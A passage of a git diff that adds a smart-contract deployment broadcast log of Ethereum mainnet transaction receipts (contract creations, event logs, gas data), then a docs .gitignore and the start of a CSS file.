"0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xdf05", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14c0cef", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x01bae858246c904512695a3f6d48ab88abb7a0192fdd7c53b043e60317795f45"], + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xcc2d6206a1dc7ec167dbc0f8f1f8f99432e5ce40055fc5ab11c4a471f4369a5f", + "transactionIndex": "0x78", + "logIndex": "0xe3", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000020000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xcc2d6206a1dc7ec167dbc0f8f1f8f99432e5ce40055fc5ab11c4a471f4369a5f", + "transactionIndex": "0x78", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x9c1b", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14cd999", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x8902fd14f40c20383dcae5d0f2b3b06b9973c89cac3e900cf9a999830277e8e6"], + "data": "0x0000000000000000000000000000000000000000000000000000000000000002", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x38f11c495a9932f57aededd4600e0814cbe503bae2fd2e9131ea2d462001a35c", + "transactionIndex": "0x79", + "logIndex": "0xe4", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000400000000000000000000000000000000000000000000000000000100400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x38f11c495a9932f57aededd4600e0814cbe503bae2fd2e9131ea2d462001a35c", + "transactionIndex": "0x79", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xccaa", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14dfe6d", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x08f944f25b910c541435bcde52d233072e903b37afc29bc8b5787b6e74d82c1a"], + "data": "0x00000000000000000000000000000000000000000000000000000000000f695000000000000000000000000000000000000000000000000000000000000f1b30", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x243bebc21d94c75a0535bbd107b62ecf1f1cd3ebf01a97b5fb7ce59b5980a21d", + "transactionIndex": "0x7a", + "logIndex": "0xe5", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x243bebc21d94c75a0535bbd107b62ecf1f1cd3ebf01a97b5fb7ce59b5980a21d", + "transactionIndex": "0x7a", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x124d4", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x14ecb60", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x8a77c775772f19a095a743319ccdc8208b70389844786995a8ca94a4f6a8dd02"], + "data": "0x00000000000000000000000000000000000000000000000000000000000e7ef0", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0xe786a6732987d10d4b0575a99b6246d6d86992c84eefc876fa3a4b61cfb1213c", + "transactionIndex": "0x7b", + "logIndex": "0xe6", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000010000000000020000000", + "type": "0x2", + "transactionHash": "0xe786a6732987d10d4b0575a99b6246d6d86992c84eefc876fa3a4b61cfb1213c", + "transactionIndex": "0x7b", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xccf3", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x17e7e06", + "logs": [ + { + "address": "0x7745a062c0a8aaefaa7e7df1e1aabbbafc988972", + "topics": ["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"], + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x30db3b6f8445902510a739692dd04d981f8d860a5f1f8654e65371aee14d9114", + "transactionIndex": "0x7c", + "logIndex": "0xe7", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000080000020000000000000000000000000000001000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x30db3b6f8445902510a739692dd04d981f8d860a5f1f8654e65371aee14d9114", + "transactionIndex": "0x7c", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x2fb2a6", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0x7745a062c0a8aaefaa7e7df1e1aabbbafc988972" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x1832d0d", + "logs": [ + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": [ + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000007745a062c0a8aaefaa7e7df1e1aabbbafc988972" + ], + "data": "0x", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionIndex": "0x7d", + "logIndex": "0xe8", + "removed": false + }, + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": ["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"], + "data": "0x0000000000000000000000000000000000000000000000000000000000000001", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionIndex": "0x7d", + "logIndex": "0xe9", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000400000000000000000800000008000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000002000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000020000000000000000000040000000000000000000010000000000000000010000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionIndex": "0x7d", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x4af07", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": null, + "contractAddress": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103" + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x183f613", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xed36cfc26960d8bd74f7a170b6a0d3f9178b2e762438316637abb545ff659b7c", + "transactionIndex": "0x7e", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0xc906", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x18556cb", + "logs": [ + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": [ + "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x00000000000000000000000000000000000000000000054b40b1f852bda00000", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionIndex": "0x7f", + "logIndex": "0xea", + "removed": false + }, + { + "address": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "topics": [ + "0xb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x00000000000000000000000000000000000000000000054b40b1f852bda00000", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "transactionHash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionIndex": "0x7f", + "logIndex": "0xeb", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000800000000000010000000000000000000000800000000000000000000000000000008000000000000000000000000000000000000000000100000030000000000001000000800000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000800000000000010000000000020000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionIndex": "0x7f", + "blockHash": "0x5e8f67a4d11e13771867255edb4894cd89cf16d4bf3be99f66a517f34e45ae0b", + "blockNumber": "0x12f066a", + "gasUsed": "0x160b8", + "effectiveGasPrice": "0xbcf76548", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x75e007", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x9c42f4d9153d55d78cf2011cd58875a5b9a8b1a30b7d0e7857d4fd6930016122"], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0xdd23c73480e78a237032683322420b848b34320b6322ae37a01e94f6d6024fa5", + "transactionIndex": "0x5d", + "logIndex": "0xc5", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xdd23c73480e78a237032683322420b848b34320b6322ae37a01e94f6d6024fa5", + "transactionIndex": "0x5d", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x112de", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x76dd52", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x16374e3dc228b497b5a9b2dff5883c395120625fbe7e794fdcc5d305ce13ed07"], + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f391a", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x1ba1babc2b61397f3e23f7006a6e030a0bd9293a1c34325a43f93d4529b66f61", + "transactionIndex": "0x5e", + "logIndex": "0xc6", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020020000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x1ba1babc2b61397f3e23f7006a6e030a0bd9293a1c34325a43f93d4529b66f61", + "transactionIndex": "0x5e", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xfd4b", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0x780386", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0x78293bd51057152112290a42345ccd9387562eac811030334ea757f4d49bdd23"], + "data": "0x0000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x8aaf682c47063531c0721ffca52534f5fbaf1e640febe3df6f65ad64683c4f84", + "transactionIndex": "0x5f", + "logIndex": "0xc7", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000002080000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x8aaf682c47063531c0721ffca52534f5fbaf1e640febe3df6f65ad64683c4f84", + "transactionIndex": "0x5f", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x12634", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xc9d4a9", + "logs": [ + { + "address": "0xcc68509f9ca0e1ed119eac7c468ec1b1c42f384f", + "topics": [ + "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x0000000000000000000000006a8cbed756804b16e05e741edabd5cb544ae21bf" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionIndex": "0x60", + "logIndex": "0xc8", + "removed": false + }, + { + "address": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "topics": ["0xd1d60d4611e4091bb2e5f699eeb79136c21ac2305ad609f3de569afc3471eecc"], + "data": "0x0000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000003d0900000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000000000000000000000020000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d103", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionIndex": "0x60", + "logIndex": "0xc9", + "removed": false + } + ], + "logsBloom": "0x00000000000000000800000000000040000000000000000000000000000000000000000000080000002000000000000000000000000000000000000000000000000000000000000080000008000000000000000000000000000000000000000000000000020002000000000000000800000000000000000000000010000000000000000000000000000000000004000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000002000000040000000000000000000000000000001000000000000020800000000000000000000000000000000000000010000000000000000000000000", + "type": "0x2", + "transactionHash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionIndex": "0x60", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x51d123", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xca9db1", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x6ec39d56006098dfab8f892bf2584c2df0cdbbdba32790318b4e7a7bd3a1069b", + "transactionIndex": "0x61", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc908", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xcb6692", + "logs": [ + { + "address": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0x3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c9", + "0x000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0xc140cd970fd44fbe40cd8cf44d599756778eb631c5c62bbd2e2f4791efbd31f1", + "transactionIndex": "0x62", + "logIndex": "0xca", + "removed": false + } + ], + "logsBloom": "0x00000004000000000000000000000000000000000100000000000020000000000000000000000000000800000000000000000000000000000000000000000000000000000000000020000000000000000000100000000000000000000000000000100000000000000000001000000000000000000000000040000000000000000200000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000800000000000000000000100000080000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xc140cd970fd44fbe40cd8cf44d599756778eb631c5c62bbd2e2f4791efbd31f1", + "transactionIndex": "0x62", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc8e1", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xcc2f73", + "logs": [ + { + "address": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "topics": [ + "0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d", + "0xa3405bb4244d0786f3e4178acef3953ebb3f56c1e97e9530871f50739923c1cf", + "0x000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "0x000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd" + ], + "data": "0x", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x6d154269fb29eefff3c1cbbcdeab165cb2bb1b421df7ce1dbbaf950e22e62169", + "transactionIndex": "0x63", + "logIndex": "0xcb", + "removed": false + } + ], + "logsBloom": "0x00000004000000000000000000000000000000000100000000000020000000000000000000000000000800000000000000000000000000000000000000000000000000000000000020000000000000000000000000800000000000000000000000100000000000000000001000000000000000000000000040000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001040000000000000000000000000000000000000800000000000000000000100000000000000000000000000000010000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x6d154269fb29eefff3c1cbbcdeab165cb2bb1b421df7ce1dbbaf950e22e62169", + "transactionIndex": "0x63", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc8e1", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x4da97a8b831c345dbe6d16ff7432df2b7b776d98", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xccf858", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xc3ec04777c62001f9020f9caaaccf7b8b92d88b9b006da09643da9abad39aa8a", + "transactionIndex": "0x64", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xc8e5", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xce1e5f", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0xe6bcf4a564a699a1c83d282eab21db81fe3ef3c3f867c402e63d074bb77925ff"], + "data": "0x0000000000000000000000005f4ec3df9cbd43714fe2740f5e3616155c5b84190000000000000000000000000000000000000000000000000000000000000e10", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0xa77b0dbf15da5c7707c0a2ab5e056386f75b0172dca10f9cf3f0631930bd40b4", + "transactionIndex": "0x65", + "logIndex": "0xcc", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000010000000080001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0xa77b0dbf15da5c7707c0a2ab5e056386f75b0172dca10f9cf3f0631930bd40b4", + "transactionIndex": "0x65", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0x12607", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + }, + { + "status": "0x1", + "cumulativeGasUsed": "0xceec4e", + "logs": [ + { + "address": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "topics": ["0xdac3a48dff76eec0a284b649cfb07035804ede2892dbaf7e72050756144fbb8c"], + "data": "0x000000000000000000000000acdc85afcd8b83eb171affcbe29fad204f6ae45c", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "transactionHash": "0x3882a2c08ecb242154d48ddbe6a5285b48694ee91829781e4634c6aa7e3fd7ef", + "transactionIndex": "0x66", + "logIndex": "0xcd", + "removed": false + } + ], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000080000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000", + "type": "0x2", + "transactionHash": "0x3882a2c08ecb242154d48ddbe6a5285b48694ee91829781e4634c6aa7e3fd7ef", + "transactionIndex": "0x66", + "blockHash": "0xbc90feb3e7867a0856035ad249790d24cd2f35c78c80d2e704906407602d23cf", + "blockNumber": "0x12f066b", + "gasUsed": "0xcdef", + "effectiveGasPrice": "0xcd6ce1af", + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "contractAddress": null + } + ], + "libraries": [], + "pending": [], + "returns": {}, + "timestamp": 1715578665, + "chain": 1, + "commit": "5db9383a" +} diff --git a/packages/contracts/docs/.gitignore b/packages/contracts/docs/.gitignore new file mode 100644 index 000000000..4e42a1bcd --- /dev/null +++ b/packages/contracts/docs/.gitignore @@ -0,0 +1 @@ +book/ \ No newline at end of file diff --git a/packages/contracts/docs/book.css b/packages/contracts/docs/book.css new file mode 100644 index 000000000..b5ce903f9 --- /dev/null +++ b/packages/contracts/docs/book.css @@ -0,0 +1,13 